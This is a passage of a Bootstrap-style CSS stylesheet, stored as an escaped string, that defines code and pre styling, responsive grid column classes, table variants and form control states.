Menlo, Monaco, Consolas, \"Courier New\", monospace;\n}\ncode {\n padding: 2px 4px;\n font-size: 90%;\n color: #c7254e;\n background-color: #f9f2f4;\n border-radius: 4px;\n}\nkbd {\n padding: 2px 4px;\n font-size: 90%;\n color: #fff;\n background-color: #333;\n border-radius: 3px;\n -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .25);\n box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .25);\n}\nkbd kbd {\n padding: 0;\n font-size: 100%;\n font-weight: bold;\n -webkit-box-shadow: none;\n box-shadow: none;\n}\npre {\n display: block;\n padding: 9.5px;\n margin: 0 0 10px;\n font-size: 13px;\n line-height: 1.42857143;\n color: #333;\n word-break: break-all;\n word-wrap: break-word;\n background-color: #f5f5f5;\n border: 1px solid #ccc;\n border-radius: 4px;\n}\npre code {\n padding: 0;\n font-size: inherit;\n color: inherit;\n white-space: pre-wrap;\n background-color: transparent;\n border-radius: 0;\n}\n.pre-scrollable {\n max-height: 340px;\n overflow-y: scroll;\n}\n.container {\n padding-right: 15px;\n padding-left: 15px;\n margin-right: auto;\n margin-left: auto;\n}\n@media (min-width: 768px) {\n .container {\n width: 750px;\n }\n}\n@media (min-width: 992px) {\n .container {\n width: 970px;\n }\n}\n@media (min-width: 1200px) {\n .container {\n width: 1170px;\n }\n}\n.container-fluid {\n padding-right: 15px;\n padding-left: 15px;\n margin-right: auto;\n margin-left: auto;\n}\n.row {\n margin-right: -15px;\n margin-left: -15px;\n}\n.col-xs-1, .col-sm-1, .col-md-1, .col-lg-1, .col-xs-2, .col-sm-2, .col-md-2, .col-lg-2, .col-xs-3, .col-sm-3, .col-md-3, .col-lg-3, .col-xs-4, .col-sm-4, .col-md-4, .col-lg-4, .col-xs-5, .col-sm-5, .col-md-5, .col-lg-5, .col-xs-6, .col-sm-6, .col-md-6, .col-lg-6, .col-xs-7, .col-sm-7, .col-md-7, .col-lg-7, .col-xs-8, .col-sm-8, .col-md-8, .col-lg-8, .col-xs-9, .col-sm-9, .col-md-9, .col-lg-9, .col-xs-10, .col-sm-10, .col-md-10, .col-lg-10, .col-xs-11, .col-sm-11, .col-md-11, .col-lg-11, .col-xs-12, .col-sm-12, .col-md-12, .col-lg-12 {\n position: relative;\n min-height: 1px;\n padding-right: 15px;\n padding-left: 15px;\n}\n.col-xs-1, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9, .col-xs-10, .col-xs-11, .col-xs-12 {\n float: left;\n}\n.col-xs-12 {\n width: 100%;\n}\n.col-xs-11 {\n width: 91.66666667%;\n}\n.col-xs-10 {\n width: 83.33333333%;\n}\n.col-xs-9 {\n width: 75%;\n}\n.col-xs-8 {\n width: 66.66666667%;\n}\n.col-xs-7 {\n width: 58.33333333%;\n}\n.col-xs-6 {\n width: 50%;\n}\n.col-xs-5 {\n width: 41.66666667%;\n}\n.col-xs-4 {\n width: 33.33333333%;\n}\n.col-xs-3 {\n width: 25%;\n}\n.col-xs-2 {\n width: 16.66666667%;\n}\n.col-xs-1 {\n width: 8.33333333%;\n}\n.col-xs-pull-12 {\n right: 100%;\n}\n.col-xs-pull-11 {\n right: 91.66666667%;\n}\n.col-xs-pull-10 {\n right: 83.33333333%;\n}\n.col-xs-pull-9 {\n right: 75%;\n}\n.col-xs-pull-8 {\n right: 66.66666667%;\n}\n.col-xs-pull-7 {\n right: 58.33333333%;\n}\n.col-xs-pull-6 {\n right: 50%;\n}\n.col-xs-pull-5 {\n right: 41.66666667%;\n}\n.col-xs-pull-4 {\n right: 33.33333333%;\n}\n.col-xs-pull-3 {\n right: 25%;\n}\n.col-xs-pull-2 {\n right: 16.66666667%;\n}\n.col-xs-pull-1 {\n right: 8.33333333%;\n}\n.col-xs-pull-0 {\n right: auto;\n}\n.col-xs-push-12 {\n left: 100%;\n}\n.col-xs-push-11 {\n left: 91.66666667%;\n}\n.col-xs-push-10 {\n left: 83.33333333%;\n}\n.col-xs-push-9 {\n left: 75%;\n}\n.col-xs-push-8 {\n left: 66.66666667%;\n}\n.col-xs-push-7 {\n left: 58.33333333%;\n}\n.col-xs-push-6 {\n left: 50%;\n}\n.col-xs-push-5 {\n left: 41.66666667%;\n}\n.col-xs-push-4 {\n left: 33.33333333%;\n}\n.col-xs-push-3 {\n left: 25%;\n}\n.col-xs-push-2 {\n left: 16.66666667%;\n}\n.col-xs-push-1 {\n left: 8.33333333%;\n}\n.col-xs-push-0 {\n left: auto;\n}\n.col-xs-offset-12 {\n margin-left: 100%;\n}\n.col-xs-offset-11 {\n margin-left: 91.66666667%;\n}\n.col-xs-offset-10 {\n margin-left: 83.33333333%;\n}\n.col-xs-offset-9 {\n margin-left: 75%;\n}\n.col-xs-offset-8 {\n margin-left: 66.66666667%;\n}\n.col-xs-offset-7 {\n margin-left: 58.33333333%;\n}\n.col-xs-offset-6 {\n margin-left: 50%;\n}\n.col-xs-offset-5 {\n margin-left: 41.66666667%;\n}\n.col-xs-offset-4 {\n margin-left: 33.33333333%;\n}\n.col-xs-offset-3 {\n margin-left: 25%;\n}\n.col-xs-offset-2 {\n margin-left: 16.66666667%;\n}\n.col-xs-offset-1 {\n margin-left: 8.33333333%;\n}\n.col-xs-offset-0 {\n margin-left: 0;\n}\n@media (min-width: 768px) {\n .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12 {\n float: left;\n }\n .col-sm-12 {\n width: 100%;\n }\n .col-sm-11 {\n width: 91.66666667%;\n }\n .col-sm-10 {\n width: 83.33333333%;\n }\n .col-sm-9 {\n width: 75%;\n }\n .col-sm-8 {\n width: 66.66666667%;\n }\n .col-sm-7 {\n width: 58.33333333%;\n }\n .col-sm-6 {\n width: 50%;\n }\n .col-sm-5 {\n width: 41.66666667%;\n }\n .col-sm-4 {\n width: 33.33333333%;\n }\n .col-sm-3 {\n width: 25%;\n }\n .col-sm-2 {\n width: 16.66666667%;\n }\n .col-sm-1 {\n width: 8.33333333%;\n }\n .col-sm-pull-12 {\n right: 100%;\n }\n .col-sm-pull-11 {\n right: 91.66666667%;\n }\n .col-sm-pull-10 {\n right: 83.33333333%;\n }\n .col-sm-pull-9 {\n right: 75%;\n }\n .col-sm-pull-8 {\n right: 66.66666667%;\n }\n .col-sm-pull-7 {\n right: 58.33333333%;\n }\n .col-sm-pull-6 {\n right: 50%;\n }\n .col-sm-pull-5 {\n right: 41.66666667%;\n }\n .col-sm-pull-4 {\n right: 33.33333333%;\n }\n .col-sm-pull-3 {\n right: 25%;\n }\n .col-sm-pull-2 {\n right: 16.66666667%;\n }\n .col-sm-pull-1 {\n right: 8.33333333%;\n }\n .col-sm-pull-0 {\n right: auto;\n }\n .col-sm-push-12 {\n left: 100%;\n }\n .col-sm-push-11 {\n left: 91.66666667%;\n }\n .col-sm-push-10 {\n left: 83.33333333%;\n }\n .col-sm-push-9 {\n left: 75%;\n }\n .col-sm-push-8 {\n left: 66.66666667%;\n }\n .col-sm-push-7 {\n left: 58.33333333%;\n }\n .col-sm-push-6 {\n left: 50%;\n }\n .col-sm-push-5 {\n left: 41.66666667%;\n }\n .col-sm-push-4 {\n left: 33.33333333%;\n }\n .col-sm-push-3 {\n left: 25%;\n }\n .col-sm-push-2 {\n left: 16.66666667%;\n }\n .col-sm-push-1 {\n left: 8.33333333%;\n }\n .col-sm-push-0 {\n left: auto;\n }\n .col-sm-offset-12 {\n margin-left: 100%;\n }\n .col-sm-offset-11 {\n margin-left: 91.66666667%;\n }\n .col-sm-offset-10 {\n margin-left: 83.33333333%;\n }\n .col-sm-offset-9 {\n margin-left: 75%;\n }\n .col-sm-offset-8 {\n margin-left: 66.66666667%;\n }\n .col-sm-offset-7 {\n margin-left: 58.33333333%;\n }\n .col-sm-offset-6 {\n margin-left: 50%;\n }\n .col-sm-offset-5 {\n margin-left: 41.66666667%;\n }\n .col-sm-offset-4 {\n margin-left: 33.33333333%;\n }\n .col-sm-offset-3 {\n margin-left: 25%;\n }\n .col-sm-offset-2 {\n margin-left: 16.66666667%;\n }\n .col-sm-offset-1 {\n margin-left: 8.33333333%;\n }\n .col-sm-offset-0 {\n margin-left: 0;\n }\n}\n@media (min-width: 992px) {\n .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12 {\n float: left;\n }\n .col-md-12 {\n width: 100%;\n }\n .col-md-11 {\n width: 91.66666667%;\n }\n .col-md-10 {\n width: 83.33333333%;\n }\n .col-md-9 {\n width: 75%;\n }\n .col-md-8 {\n width: 66.66666667%;\n }\n .col-md-7 {\n width: 58.33333333%;\n }\n .col-md-6 {\n width: 50%;\n }\n .col-md-5 {\n width: 41.66666667%;\n }\n .col-md-4 {\n width: 33.33333333%;\n }\n .col-md-3 {\n width: 25%;\n }\n .col-md-2 {\n width: 16.66666667%;\n }\n .col-md-1 {\n width: 8.33333333%;\n }\n .col-md-pull-12 {\n right: 100%;\n }\n .col-md-pull-11 {\n right: 91.66666667%;\n }\n .col-md-pull-10 {\n right: 83.33333333%;\n }\n .col-md-pull-9 {\n right: 75%;\n }\n .col-md-pull-8 {\n right: 66.66666667%;\n }\n .col-md-pull-7 {\n right: 58.33333333%;\n }\n .col-md-pull-6 {\n right: 50%;\n }\n .col-md-pull-5 {\n right: 41.66666667%;\n }\n .col-md-pull-4 {\n right: 33.33333333%;\n }\n .col-md-pull-3 {\n right: 25%;\n }\n .col-md-pull-2 {\n right: 16.66666667%;\n }\n .col-md-pull-1 {\n right: 8.33333333%;\n }\n .col-md-pull-0 {\n right: auto;\n }\n .col-md-push-12 {\n left: 100%;\n }\n .col-md-push-11 {\n left: 91.66666667%;\n }\n .col-md-push-10 {\n left: 83.33333333%;\n }\n .col-md-push-9 {\n left: 75%;\n }\n .col-md-push-8 {\n left: 66.66666667%;\n }\n .col-md-push-7 {\n left: 58.33333333%;\n }\n .col-md-push-6 {\n left: 50%;\n }\n .col-md-push-5 {\n left: 41.66666667%;\n }\n .col-md-push-4 {\n left: 33.33333333%;\n }\n .col-md-push-3 {\n left: 25%;\n }\n .col-md-push-2 {\n left: 16.66666667%;\n }\n .col-md-push-1 {\n left: 8.33333333%;\n }\n .col-md-push-0 {\n left: auto;\n }\n .col-md-offset-12 {\n margin-left: 100%;\n }\n .col-md-offset-11 {\n margin-left: 91.66666667%;\n }\n .col-md-offset-10 {\n margin-left: 83.33333333%;\n }\n .col-md-offset-9 {\n margin-left: 75%;\n }\n .col-md-offset-8 {\n margin-left: 66.66666667%;\n }\n .col-md-offset-7 {\n margin-left: 58.33333333%;\n }\n .col-md-offset-6 {\n margin-left: 50%;\n }\n .col-md-offset-5 {\n margin-left: 41.66666667%;\n }\n .col-md-offset-4 {\n margin-left: 33.33333333%;\n }\n .col-md-offset-3 {\n margin-left: 25%;\n }\n .col-md-offset-2 {\n margin-left: 16.66666667%;\n }\n .col-md-offset-1 {\n margin-left: 8.33333333%;\n }\n .col-md-offset-0 {\n margin-left: 0;\n }\n}\n@media (min-width: 1200px) {\n .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12 {\n float: left;\n }\n .col-lg-12 {\n width: 100%;\n }\n .col-lg-11 {\n width: 91.66666667%;\n }\n .col-lg-10 {\n width: 83.33333333%;\n }\n .col-lg-9 {\n width: 75%;\n }\n .col-lg-8 {\n width: 66.66666667%;\n }\n .col-lg-7 {\n width: 58.33333333%;\n }\n .col-lg-6 {\n width: 50%;\n }\n .col-lg-5 {\n width: 41.66666667%;\n }\n .col-lg-4 {\n width: 33.33333333%;\n }\n .col-lg-3 {\n width: 25%;\n }\n .col-lg-2 {\n width: 16.66666667%;\n }\n .col-lg-1 {\n width: 8.33333333%;\n }\n .col-lg-pull-12 {\n right: 100%;\n }\n .col-lg-pull-11 {\n right: 91.66666667%;\n }\n .col-lg-pull-10 {\n right: 83.33333333%;\n }\n .col-lg-pull-9 {\n right: 75%;\n }\n .col-lg-pull-8 {\n right: 66.66666667%;\n }\n .col-lg-pull-7 {\n right: 58.33333333%;\n }\n .col-lg-pull-6 {\n right: 50%;\n }\n .col-lg-pull-5 {\n right: 41.66666667%;\n }\n .col-lg-pull-4 {\n right: 33.33333333%;\n }\n .col-lg-pull-3 {\n right: 25%;\n }\n .col-lg-pull-2 {\n right: 16.66666667%;\n }\n .col-lg-pull-1 {\n right: 8.33333333%;\n }\n .col-lg-pull-0 {\n right: auto;\n }\n .col-lg-push-12 {\n left: 100%;\n }\n .col-lg-push-11 {\n left: 91.66666667%;\n }\n .col-lg-push-10 {\n left: 83.33333333%;\n }\n .col-lg-push-9 {\n left: 75%;\n }\n .col-lg-push-8 {\n left: 66.66666667%;\n }\n .col-lg-push-7 {\n left: 58.33333333%;\n }\n .col-lg-push-6 {\n left: 50%;\n }\n .col-lg-push-5 {\n left: 41.66666667%;\n }\n .col-lg-push-4 {\n left: 33.33333333%;\n }\n .col-lg-push-3 {\n left: 25%;\n }\n .col-lg-push-2 {\n left: 16.66666667%;\n }\n .col-lg-push-1 {\n left: 8.33333333%;\n }\n .col-lg-push-0 {\n left: auto;\n }\n .col-lg-offset-12 {\n margin-left: 100%;\n }\n .col-lg-offset-11 {\n margin-left: 91.66666667%;\n }\n .col-lg-offset-10 {\n margin-left: 83.33333333%;\n }\n .col-lg-offset-9 {\n margin-left: 75%;\n }\n .col-lg-offset-8 {\n margin-left: 66.66666667%;\n }\n .col-lg-offset-7 {\n margin-left: 58.33333333%;\n }\n .col-lg-offset-6 {\n margin-left: 50%;\n }\n .col-lg-offset-5 {\n margin-left: 41.66666667%;\n }\n .col-lg-offset-4 {\n margin-left: 33.33333333%;\n }\n .col-lg-offset-3 {\n margin-left: 25%;\n }\n .col-lg-offset-2 {\n margin-left: 16.66666667%;\n }\n .col-lg-offset-1 {\n margin-left: 8.33333333%;\n }\n .col-lg-offset-0 {\n margin-left: 0;\n }\n}\ntable {\n background-color: transparent;\n}\ncaption {\n padding-top: 8px;\n padding-bottom: 8px;\n color: #777;\n text-align: left;\n}\nth {\n text-align: left;\n}\n.table {\n width: 100%;\n max-width: 100%;\n margin-bottom: 20px;\n}\n.table > thead > tr > th,\n.table > tbody > tr > th,\n.table > tfoot > tr > th,\n.table > thead > tr > td,\n.table > tbody > tr > td,\n.table > tfoot > tr > td {\n padding: 8px;\n line-height: 1.42857143;\n vertical-align: top;\n border-top: 1px solid #ddd;\n}\n.table > thead > tr > th {\n vertical-align: bottom;\n border-bottom: 2px solid #ddd;\n}\n.table > caption + thead > tr:first-child > th,\n.table > colgroup + thead > tr:first-child > th,\n.table > thead:first-child > tr:first-child > th,\n.table > caption + thead > tr:first-child > td,\n.table > colgroup + thead > tr:first-child > td,\n.table > thead:first-child > tr:first-child > td {\n border-top: 0;\n}\n.table > tbody + tbody {\n border-top: 2px solid #ddd;\n}\n.table .table {\n background-color: #fff;\n}\n.table-condensed > thead > tr > th,\n.table-condensed > tbody > tr > th,\n.table-condensed > tfoot > tr > th,\n.table-condensed > thead > tr > td,\n.table-condensed > tbody > tr > td,\n.table-condensed > tfoot > tr > td {\n padding: 5px;\n}\n.table-bordered {\n border: 1px solid #ddd;\n}\n.table-bordered > thead > tr > th,\n.table-bordered > tbody > tr > th,\n.table-bordered > tfoot > tr > th,\n.table-bordered > thead > tr > td,\n.table-bordered > tbody > tr > td,\n.table-bordered > tfoot > tr > td {\n border: 1px solid #ddd;\n}\n.table-bordered > thead > tr > th,\n.table-bordered > thead > tr > td {\n border-bottom-width: 2px;\n}\n.table-striped > tbody > tr:nth-of-type(odd) {\n background-color: #f9f9f9;\n}\n.table-hover > tbody > tr:hover {\n background-color: #f5f5f5;\n}\ntable col[class*=\"col-\"] {\n position: static;\n display: table-column;\n float: none;\n}\ntable td[class*=\"col-\"],\ntable th[class*=\"col-\"] {\n position: static;\n display: table-cell;\n float: none;\n}\n.table > thead > tr > td.active,\n.table > tbody > tr > td.active,\n.table > tfoot > tr > td.active,\n.table > thead > tr > th.active,\n.table > tbody > tr > th.active,\n.table > tfoot > tr > th.active,\n.table > thead > tr.active > td,\n.table > tbody > tr.active > td,\n.table > tfoot > tr.active > td,\n.table > thead > tr.active > th,\n.table > tbody > tr.active > th,\n.table > tfoot > tr.active > th {\n background-color: #f5f5f5;\n}\n.table-hover > tbody > tr > td.active:hover,\n.table-hover > tbody > tr > th.active:hover,\n.table-hover > tbody > tr.active:hover > td,\n.table-hover > tbody > tr:hover > .active,\n.table-hover > tbody > tr.active:hover > th {\n background-color: #e8e8e8;\n}\n.table > thead > tr > td.success,\n.table > tbody > tr > td.success,\n.table > tfoot > tr > td.success,\n.table > thead > tr > th.success,\n.table > tbody > tr > th.success,\n.table > tfoot > tr > th.success,\n.table > thead > tr.success > td,\n.table > tbody > tr.success > td,\n.table > tfoot > tr.success > td,\n.table > thead > tr.success > th,\n.table > tbody > tr.success > th,\n.table > tfoot > tr.success > th {\n background-color: #dff0d8;\n}\n.table-hover > tbody > tr > td.success:hover,\n.table-hover > tbody > tr > th.success:hover,\n.table-hover > tbody > tr.success:hover > td,\n.table-hover > tbody > tr:hover > .success,\n.table-hover > tbody > tr.success:hover > th {\n background-color: #d0e9c6;\n}\n.table > thead > tr > td.info,\n.table > tbody > tr > td.info,\n.table > tfoot > tr > td.info,\n.table > thead > tr > th.info,\n.table > tbody > tr > th.info,\n.table > tfoot > tr > th.info,\n.table > thead > tr.info > td,\n.table > tbody > tr.info > td,\n.table > tfoot > tr.info > td,\n.table > thead > tr.info > th,\n.table > tbody > tr.info > th,\n.table > tfoot > tr.info > th {\n background-color: #d9edf7;\n}\n.table-hover > tbody > tr > td.info:hover,\n.table-hover > tbody > tr > th.info:hover,\n.table-hover > tbody > tr.info:hover > td,\n.table-hover > tbody > tr:hover > .info,\n.table-hover > tbody > tr.info:hover > th {\n background-color: #c4e3f3;\n}\n.table > thead > tr > td.warning,\n.table > tbody > tr > td.warning,\n.table > tfoot > tr > td.warning,\n.table > thead > tr > th.warning,\n.table > tbody > tr > th.warning,\n.table > tfoot > tr > th.warning,\n.table > thead > tr.warning > td,\n.table > tbody > tr.warning > td,\n.table > tfoot > tr.warning > td,\n.table > thead > tr.warning > th,\n.table > tbody > tr.warning > th,\n.table > tfoot > tr.warning > th {\n background-color: #fcf8e3;\n}\n.table-hover > tbody > tr > td.warning:hover,\n.table-hover > tbody > tr > th.warning:hover,\n.table-hover > tbody > tr.warning:hover > td,\n.table-hover > tbody > tr:hover > .warning,\n.table-hover > tbody > tr.warning:hover > th {\n background-color: #faf2cc;\n}\n.table > thead > tr > td.danger,\n.table > tbody > tr > td.danger,\n.table > tfoot > tr > td.danger,\n.table > thead > tr > th.danger,\n.table > tbody > tr > th.danger,\n.table > tfoot > tr > th.danger,\n.table > thead > tr.danger > td,\n.table > tbody > tr.danger > td,\n.table > tfoot > tr.danger > td,\n.table > thead > tr.danger > th,\n.table > tbody > tr.danger > th,\n.table > tfoot > tr.danger > th {\n background-color: #f2dede;\n}\n.table-hover > tbody > tr > td.danger:hover,\n.table-hover > tbody > tr > th.danger:hover,\n.table-hover > tbody > tr.danger:hover > td,\n.table-hover > tbody > tr:hover > .danger,\n.table-hover > tbody > tr.danger:hover > th {\n background-color: #ebcccc;\n}\n.table-responsive {\n min-height: .01%;\n overflow-x: auto;\n}\n@media screen and (max-width: 767px) {\n .table-responsive {\n width: 100%;\n margin-bottom: 15px;\n overflow-y: hidden;\n -ms-overflow-style: -ms-autohiding-scrollbar;\n border: 1px solid #ddd;\n }\n .table-responsive > .table {\n margin-bottom: 0;\n }\n .table-responsive > .table > thead > tr > th,\n .table-responsive > .table > tbody > tr > th,\n .table-responsive > .table > tfoot > tr > th,\n .table-responsive > .table > thead > tr > td,\n .table-responsive > .table > tbody > tr > td,\n .table-responsive > .table > tfoot > tr > td {\n white-space: nowrap;\n }\n .table-responsive > .table-bordered {\n border: 0;\n }\n .table-responsive > .table-bordered > thead > tr > th:first-child,\n .table-responsive > .table-bordered > tbody > tr > th:first-child,\n .table-responsive > .table-bordered > tfoot > tr > th:first-child,\n .table-responsive > .table-bordered > thead > tr > td:first-child,\n .table-responsive > .table-bordered > tbody > tr > td:first-child,\n .table-responsive > .table-bordered > tfoot > tr > td:first-child {\n border-left: 0;\n }\n .table-responsive > .table-bordered > thead > tr > th:last-child,\n .table-responsive > .table-bordered > tbody > tr > th:last-child,\n .table-responsive > .table-bordered > tfoot > tr > th:last-child,\n .table-responsive > .table-bordered > thead > tr > td:last-child,\n .table-responsive > .table-bordered > tbody > tr > td:last-child,\n .table-responsive > .table-bordered > tfoot > tr > td:last-child {\n border-right: 0;\n }\n .table-responsive > .table-bordered > tbody > tr:last-child > th,\n .table-responsive > .table-bordered > tfoot > tr:last-child > th,\n .table-responsive > .table-bordered > tbody > tr:last-child > td,\n .table-responsive > .table-bordered > tfoot > tr:last-child > td {\n border-bottom: 0;\n }\n}\nfieldset {\n min-width: 0;\n padding: 0;\n margin: 0;\n border: 0;\n}\nlegend {\n display: block;\n width: 100%;\n padding: 0;\n margin-bottom: 20px;\n font-size: 21px;\n line-height: inherit;\n color: #333;\n border: 0;\n border-bottom: 1px solid #e5e5e5;\n}\nlabel {\n display: inline-block;\n max-width: 100%;\n margin-bottom: 5px;\n font-weight: bold;\n}\ninput[type=\"search\"] {\n -webkit-box-sizing: border-box;\n -moz-box-sizing: border-box;\n box-sizing: border-box;\n}\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n margin: 4px 0 0;\n margin-top: 1px \\9;\n line-height: normal;\n}\ninput[type=\"file\"] {\n display: block;\n}\ninput[type=\"range\"] {\n display: block;\n width: 100%;\n}\nselect[multiple],\nselect[size] {\n height: auto;\n}\ninput[type=\"file\"]:focus,\ninput[type=\"radio\"]:focus,\ninput[type=\"checkbox\"]:focus {\n outline: 5px auto -webkit-focus-ring-color;\n outline-offset: -2px;\n}\noutput {\n display: block;\n padding-top: 7px;\n font-size: 14px;\n line-height: 1.42857143;\n color: #555;\n}\n.form-control {\n display: block;\n width: 100%;\n height: 34px;\n padding: 6px 12px;\n font-size: 14px;\n line-height: 1.42857143;\n color: #555;\n background-color: #fff;\n background-image: none;\n border: 1px solid #ccc;\n border-radius: 4px;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n -webkit-transition: border-color ease-in-out .15s, -webkit-box-shadow ease-in-out .15s;\n -o-transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;\n transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;\n}\n.form-control:focus {\n border-color: #66afe9;\n outline: 0;\n -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, .6);\n box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, .6);\n}\n.form-control::-moz-placeholder {\n color: #999;\n opacity: 1;\n}\n.form-control:-ms-input-placeholder {\n color: #999;\n}\n.form-control::-webkit-input-placeholder {\n color: #999;\n}\n.form-control::-ms-expand {\n background-color: transparent;\n border: 0;\n}\n.form-control[disabled],\n.form-control[readonly],\nfieldset[disabled] .form-control {\n background-color: #eee;\n opacity: 1;\n}\n.form-control[disabled],\nfieldset[disabled] .form-control {\n cursor: not-allowed;\n}\ntextarea.form-control {\n height: auto;\n}\ninput[type=\"search\"] {\n -webkit-appearance: none;\n}\n@media screen and (-webkit-min-device-pixel-ratio: 0) {\n input[type=\"date\"].form-control,\n input[type=\"time\"].form-control,\n input[type=\"datetime-local\"].form-control,\n input[type=\"month\"].form-control {\n line-height: 34px;\n }\n input[type=\"date\"].input-sm,\n input[type=\"time\"].input-sm,\n input[type=\"datetime-local\"].input-sm,\n input[type=\"month\"].input-sm,\n .input-group-sm input[type=\"date\"],\n .input-group-sm input[type=\"time\"],\n .input-group-sm input[type=\"datetime-local\"],\n .input-group-sm input[type=\"month\"] {\n line-height: 30px;\n }\n input[type=\"date\"].input-lg,\n input[type=\"time\"].input-lg,\n input[type=\"datetime-local\"].input-lg,\n input[type=\"month\"].input-lg,\n .input-group-lg input[type=\"date\"],\n .input-group-lg input[type=\"time\"],\n .input-group-lg input[type=\"datetime-local\"],\n .input-group-lg input[type=\"month\"] {\n line-height: 46px;\n }\n}\n.form-group {\n margin-bottom: 15px;\n}\n.radio,\n.checkbox {\n position: relative;\n display: block;\n margin-top: 10px;\n margin-bottom: 10px;\n}\n.radio label,\n.checkbox label {\n min-height: 20px;\n padding-left: 20px;\n margin-bottom: 0;\n font-weight: normal;\n cursor: pointer;\n}\n.radio input[type=\"radio\"],\n.radio-inline input[type=\"radio\"],\n.checkbox input[type=\"checkbox\"],\n.checkbox-inline input[type=\"checkbox\"] {\n position: absolute;\n margin-top: 4px \\9;\n margin-left: -20px;\n}\n.radio + .radio,\n.checkbox + .checkbox {\n margin-top: -5px;\n}\n.radio-inline,\n.checkbox-inline {\n position: relative;\n display: inline-block;\n padding-left: 20px;\n margin-bottom: 0;\n font-weight: normal;\n vertical-align: middle;\n cursor: pointer;\n}\n.radio-inline + .radio-inline,\n.checkbox-inline + .checkbox-inline {\n margin-top: 0;\n margin-left: 10px;\n}\ninput[type=\"radio\"][disabled],\ninput[type=\"checkbox\"][disabled],\ninput[type=\"radio\"].disabled,\ninput[type=\"checkbox\"].disabled,\nfieldset[disabled] input[type=\"radio\"],\nfieldset[disabled] input[type=\"checkbox\"] {\n cursor: not-allowed;\n}\n.radio-inline.disabled,\n.checkbox-inline.disabled,\nfieldset[disabled] .radio-inline,\nfieldset[disabled] .checkbox-inline {\n cursor: not-allowed;\n}\n.radio.disabled label,\n.checkbox.disabled label,\nfieldset[disabled] .radio label,\nfieldset[disabled] .checkbox label {\n cursor: not-allowed;\n}\n.form-control-static {\n min-height: 34px;\n padding-top: 7px;\n padding-bottom: 7px;\n margin-bottom: 0;\n}\n.form-control-static.input-lg,\n.form-control-static.input-sm {\n padding-right: 0;\n padding-left: 0;\n}\n.input-sm {\n height: 30px;\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\nselect.input-sm {\n height: 30px;\n line-height: 30px;\n}\ntextarea.input-sm,\nselect[multiple].input-sm {\n height: auto;\n}\n.form-group-sm .form-control {\n height: 30px;\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\n.form-group-sm select.form-control {\n height: 30px;\n line-height: 30px;\n}\n.form-group-sm textarea.form-control,\n.form-group-sm select[multiple].form-control {\n height: auto;\n}\n.form-group-sm .form-control-static {\n height: 30px;\n min-height: 32px;\n padding: 6px 10px;\n font-size: 12px;\n line-height: 1.5;\n}\n.input-lg {\n height: 46px;\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n border-radius: 6px;\n}\nselect.input-lg {\n height: 46px;\n line-height: 46px;\n}\ntextarea.input-lg,\nselect[multiple].input-lg {\n height: auto;\n}\n.form-group-lg .form-control {\n height: 46px;\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n border-radius: 6px;\n}\n.form-group-lg select.form-control {\n height: 46px;\n line-height: 46px;\n}\n.form-group-lg textarea.form-control,\n.form-group-lg select[multiple].form-control {\n height: auto;\n}\n.form-group-lg .form-control-static {\n height: 46px;\n min-height: 38px;\n padding: 11px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n}\n.has-feedback {\n position: relative;\n}\n.has-feedback .form-control {\n padding-right: 42.5px;\n}\n.form-control-feedback {\n position: absolute;\n top: 0;\n right: 0;\n z-index: 2;\n display: block;\n width: 34px;\n height: 34px;\n line-height: 34px;\n text-align: center;\n pointer-events: none;\n}\n.input-lg + .form-control-feedback,\n.input-group-lg + .form-control-feedback,\n.form-group-lg .form-control + .form-control-feedback {\n width: 46px;\n height: 46px;\n line-height: 46px;\n}\n.input-sm + .form-control-feedback,\n.input-group-sm + .form-control-feedback,\n.form-group-sm .form-control + .form-control-feedback {\n width: 30px;\n height: 30px;\n line-height: 30px;\n}\n.has-success .help-block,\n.has-success .control-label,\n.has-success .radio,\n.has-success .checkbox,\n.has-success .radio-inline,\n.has-success .checkbox-inline,\n.has-success.radio label,\n.has-success.checkbox label,\n.has-success.radio-inline label,\n.has-success.checkbox-inline label {\n color: #3c763d;\n}\n.has-success .form-control {\n border-color: #3c763d;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n}\n.has-success .form-control:focus {\n border-color: #2b542c;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #67b168;\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #67b168;\n}\n.has-success .input-group-addon {\n color: #3c763d;\n background-color: #dff0d8;\n border-color: #3c763d;\n}\n.has-success .form-control-feedback {\n color: #3c763d;\n}\n.has-warning .help-block,\n.has-warning .control-label,\n.has-warning .radio,\n.has-warning .checkbox,\n.has-warning .radio-inline,\n.has-warning .checkbox-inline,\n.has-warning.radio label,\n.has-warning.checkbox label,\n.has-warning.radio-inline label,\n.has-warning.checkbox-inline label {\n color: #8a6d3b;\n}\n.has-warning .form-control {\n border-color: #8a6d3b;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075);\n}\n.has-warning .form-control:focus {\n border-color: 